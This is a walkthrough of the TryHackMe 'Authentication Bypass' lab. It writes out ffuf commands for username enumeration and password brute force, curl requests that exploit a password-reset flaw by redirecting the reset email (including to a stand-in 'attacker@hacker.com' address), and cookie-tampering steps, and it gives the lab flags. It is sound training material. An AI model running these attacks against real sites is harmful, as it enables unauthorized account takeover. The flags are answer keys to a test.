TryHackMe Authentication Bypass — walkthrough

Learn how to defeat logins and other authentication mechanisms to allow you access to unpermitted areas.

Site Link: https://tryhackme.com/r/room/authenticationbypass

Task 1 Brief

In this room, we will learn about different ways website authentication methods can be bypassed, defeated or broken. These vulnerabilities can be some of the most critical as it often ends in leaks of customers personal data.

Start the machine and then proceed to the next task.

Answer the questions below

I have started the machine.

No Answer need

Task 2 Username Enumeration

A helpful exercise to complete when trying to find authentication vulnerabilities is creating a list of valid usernames, which we’ll use later in other tasks.

Website error messages are great resources for collating this information to build our list of valid usernames. We have a form to create a new user account if we go to the Acme IT Support website (http://MACHINE_IP/customers/signup) signup page.

If you try entering the username admin and fill in the other form fields with fake information, you’ll see we get the error An account with this username already exists.

We can use the existence of this error message to produce a list of valid usernames already signed up on the system by using the ffuf tool below. The ffuf tool uses a list of commonly used usernames to check against for any matches.

Username enumeration with ffuf

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"

In the above example, the -w argument selects the file’s location on the computer that contains the list of usernames that we’re going to check exists. The -X argument specifies the request method, this will be a GET request by default, but it is a POST request in our example. The -d argument specifies the data that we are going to send. In our example, we have the fields username, email, password and cpassword. We’ve set the value of the username to FUZZ. In the ffuf tool, the FUZZ keyword signifies where the contents from our wordlist will be inserted in the request. The -H argument is used for adding additional headers to the request. In this instance, we’re setting the Content-Type so the web server knows we are sending form data. The -u argument specifies the URL we are making the request to, and finally, the -mr argument is the text on the page we are looking for to validate we’ve found a valid username.

The ffuf tool and wordlist come pre-installed on the AttackBox or can be installed locally by downloading it from https://github.com/ffuf/ffuf.

The tool has identified several usernames that are already in use on the target system. These usernames include:

• admin
• robert
• simon
• steve

These results suggest that the usernames listed above exist on the target system, as the server returned a response containing “username already exists” when they were tested.

Create a file called valid_usernames.txt and add the usernames that you found using ffuf; these will be used in Task 3.

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.60.101/customers/signup -mr "username already exists">valid_usernames.txt

We can see in the home folder that we have a new tax file valid_usernames.txt

ls

Displayed content of the a text file named valid_usernames.txt

cat valid_usernames.txt

The file contains a list of usernames that were identified as valid during your previous fuzzing attack with ffuf.

• admin
• robert
• simon
• steve

Answer the questions below:

2.1. What is the username starting with si*** ?

Answer: simon

2.2. What is the username starting with st*** ?

Answer: steve

2.3. What is the username starting with ro**** ?

Answer: robert

Task 3 Brute Force

Using the valid_usernames.txt file we generated in the previous task, we can now use this to attempt a brute force attack on the login page (http://MACHINE_IP/customers/login).

Note: If you created your valid_usernames file by piping the output from ffuf directly you may have difficulty with this task. Clean your data, or copy just the names into a new file.

A brute force attack is an automated process that tries a list of commonly used passwords against either a single username or, like in our case, a list of usernames.

When running this command, make sure the terminal is in the same directory as the valid_usernames.txt file.

Bruteforcing with ffuf

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.60.101/customers/login -fc 200

This ffuf command is a little different to the previous one in Task 2. Previously we used the FUZZ keyword to select where in the request the data from the wordlists would be inserted, but because we’re using multiple wordlists, we have to specify our own FUZZ keyword. In this instance, we’ve chosen W1 for our list of valid usernames and W2 for the list of passwords we will try. The multiple wordlists are again specified with the -w argument but separated with a comma. For a positive match, we’re using the -fc argument to check for an HTTP status code other than 200.

First will insert the username steve instead of W1

ffuf -w /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=steve&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.60.101/customers/login -fc 200

Running the above command will find a single working username and password combination that answers the question below.

This result shows that the steve username and thunder password combination is valid, as indicated by the 302 status code, which generally means the user has been successfully authenticated and is being redirected to another page (often a dashboard or home page).

Answer the questions below:

3.1. What is the valid username and password (format: username/password)?

answer: steve/thunder

Task 4 Logic Flaw

What is a Logic Flaw?

Sometimes authentication processes contain logic flaws. A logic flaw is when the typical logical path of an application is either bypassed, circumvented or manipulated by a hacker. Logic flaws can exist in any area of a website, but we’re going to concentrate on examples relating to authentication in this instance.

Logic Flaw Example

The below mock code example checks to see whether the start of the path the client is visiting begins with /admin and if so, then further checks are made to see whether the client is, in fact, an admin. If the page doesn’t begin with /admin, the page is shown to the client.

if( url.substr(0,6) === ‘/admin’) {

# Code to check user is an admin

} else {

# View Page

}

Because the above PHP code example uses three equals signs (===), it’s looking for an exact match on the string, including the same letter casing. The code presents a logic flaw because an unauthenticated user requesting /adMin will not have their privileges checked and have the page displayed to them, totally bypassing the authentication checks.

Logic Flaw Practical

We’re going to examine the Reset Password function of the Acme IT Support website (http://MACHINE_IP/customers/reset).

We see a form asking for the email address associated with the account on which we wish to perform the password reset.

If an invalid email is entered, you’ll receive the error message “Account not found from supplied email address”.

For demonstration purposes, we’ll use the email address robert@acmeitsupport.thm which is accepted.

We’re then presented with the next stage of the form, which asks for the username associated with this login email address.

Enter robert as the username and press the Check Username button.

you’ll be presented with a confirmation message that a password reset email will be sent to robert@acmeitsupport.thm.

At this stage, you may be wondering what the vulnerability could be in this application as you have to know both the email and username and then the password link is sent to the email address of the account owner.

This walkthrough will require running both of the below Curl Requests on the AttackBox which can be opened by using the Blue Button Above.

In the second step of the reset email process, the username is submitted in a POST field to the web server, and the email address is sent in the query string request as a GET field.

Let’s illustrate this by using the curl tool to manually make the request to the webserver.

Curl Request 1:

curl 'http://10.10.60.101/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'

We use the -H flag to add an additional header to the request. In this instance, we are setting the Content-Type to application/x-www-form-urlencoded, which lets the web server know we are sending form data so it properly understands our request.

In the application, the user account is retrieved using the query string, but later on, in the application logic, the password reset email is sent using the data found in the PHP variable $_REQUEST.

The PHP $_REQUEST variable is an array that contains data received from the query string and POST data. If the same key name is used for both the query string and POST data, the application logic for this variable favours POST data fields rather than the query string.

If we add another parameter to the POST form, we can control where the password reset email gets delivered.

Curl Request 2:

curl 'http://10.10.60.101/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'

Command 2 sends both username and email fields, which could instruct the server to update or validate the email address associated with the username.

Command 2 is more complex and potentially more dangerous as it attempts to modify the account by sending additional data (email).

Using PHP in Command 2 in the username added email attacker hacker.com this sent a resend email to attackerhacker.com which is a security flaw pretty big one as well.

curl 'http://10.10.60.101/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'

For the next step, you’ll need to create an account on the Acme IT support customer section, doing so gives you a unique email address that can be used to create support tickets.

Press on Customers

Press on:

enter the username.

The email address is in the format of {username}@customer.acmeitsupport.thm

The password needs to be at least six characters.

Now rerunning Curl Request 2 but with your @acmeitsupport.thm in the email field you’ll have a ticket created on your account which contains a link to log you in as Robert. Using Robert’s account, you can view their support tickets and reveal a flag.

Curl Request 2 (but using your @acmeitsupport.thm account):

curl 'http://10.10.60.101/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=tba@acmeitsupport.thm’

The email was sent successfully

Now we need to go to our dashboard and click support tickets

At Tickets, we can see that we have a password resetting but it’s not for our account but Roberts.

click the ID URL.

We can see that there is a ticket information with a link to sign in as Robert automatically.

please visit http://10.10.60.101/customers/reset/6362be377ca7bb2718701c1ede1e6403 to automatically login,

open this link

and click your account

Successfully entered Robert Account

Click support Tickets

Click on Id 1

Answer the questions below

4.1. What is the flag from Robert’s support ticket?

Answer: THM{AUTH_BYPASS_COMPLETE}

Task 5 Cookie Tampering

Examining and editing the cookies set by the web server during your online session can have multiple outcomes, such as unauthenticated access, access to another user’s account, or elevated privileges. If you need a refresher on cookies, check out the HTTP In Detail room on task 6.

Plain Text

The contents of some cookies can be in plain text, and it is obvious what they do. Take, for example, if these were the cookie set after a successful login:

Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/

We see one cookie (logged_in), which appears to control whether the user is currently logged in or not, and another (admin), which controls whether the visitor has admin privileges. Using this logic, if we were to change the contents of the cookies and make a request we’ll be able to change our privileges.

First, we’ll start just by requesting the target page:

Curl Request 1

curl http://MACHINE_IP/cookie-test

We can see we have returned a message of: Not Logged In

Now we’ll send another request with the logged_in cookie set to true and the admin cookie set to false:

Curl Request 2

curl -H "Cookie: logged_in=true; admin=false" http://MACHINE_IP/cookie-test

We are given the message: Logged In As A User

Finally, we’ll send one last request setting both the logged_in and admin cookie to true:

Curl Request 3

curl -H "Cookie: logged_in=true; admin=true" http://MACHINE_IP/cookie-test

This returns the result: Logged In As An Admin as well as a flag which you can use to answer question one.

5.1. What is the flag from changing the plain text cookie values?

Answer: THM{COOKIE_TAMPERING}

Hashing

Sometimes cookie values can look like a long string of random characters; these are called hashes which are an irreversible representation of the original text. Here are some examples that you may come across:

Original String

Hash Method

Output

1

md5

c4ca4238a0b923820dcc509a6f75849b

1

sha-256

6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

1

sha-512

4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

1

sha1

356a192b7913b04c54574d18c28d46e6395428ab

You can see from the above table that the hash output from the same input string can significantly differ depending on the hash method in use. Even though the hash is irreversible, the same output is produced every time, which is helpful for us as services such as https://crackstation.net/ keep databases of billions of hashes and their original strings.

Encoding

Encoding is similar to hashing in that it creates what would seem to be a random string of text, but in fact, the encoding is reversible. So it begs the question, what is the point in encoding? Encoding allows us to convert binary data into human-readable text that can be easily and safely transmitted over mediums that only support plain text ASCII characters.

Common encoding types are base32 which converts binary data to the characters A-Z and 2–7, and base64 which converts using the characters a-z, A-Z, 0–9,+, / and the equals sign for padding.

Take the below data as an example which is set by the web server upon logging in:

Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/

This string base64 decoded has the value of {“id”:1,”admin”: false} we can then encode this back to base64 encoded again but instead setting the admin value to true, which now gives us admin access.

Answer the questions below

5.2. What is the value of the md5 hash 3b2a1053e3270077456a79192070aa78 ? (Question Hint

crackstation.net can help with this).

Answer: 463729

5.3. What is the base64 decoded value of VEhNe0JBU0U2NF9FTkNPRElOR30= ? (Question Hint

base64decode.org can help with this).

Answer: THM{BASE64_ENCODING}

5.4. Encode the following value using base64 {“id”:1,”admin”:true} (Question Hint base64encode.org can help with this).

echo -n '{"id":1,"admin":true}' | base64

echo -n ‘{“id”:1,”admin”:true}’: This prints the string {“id”:1,”admin”:true} without adding a newline at the end.

| base64: This pipes the output of the echo command to the base64 command, which then encodes it.

Answer: eyJpZCI6MSwiYWRtaW4iOnRydWV9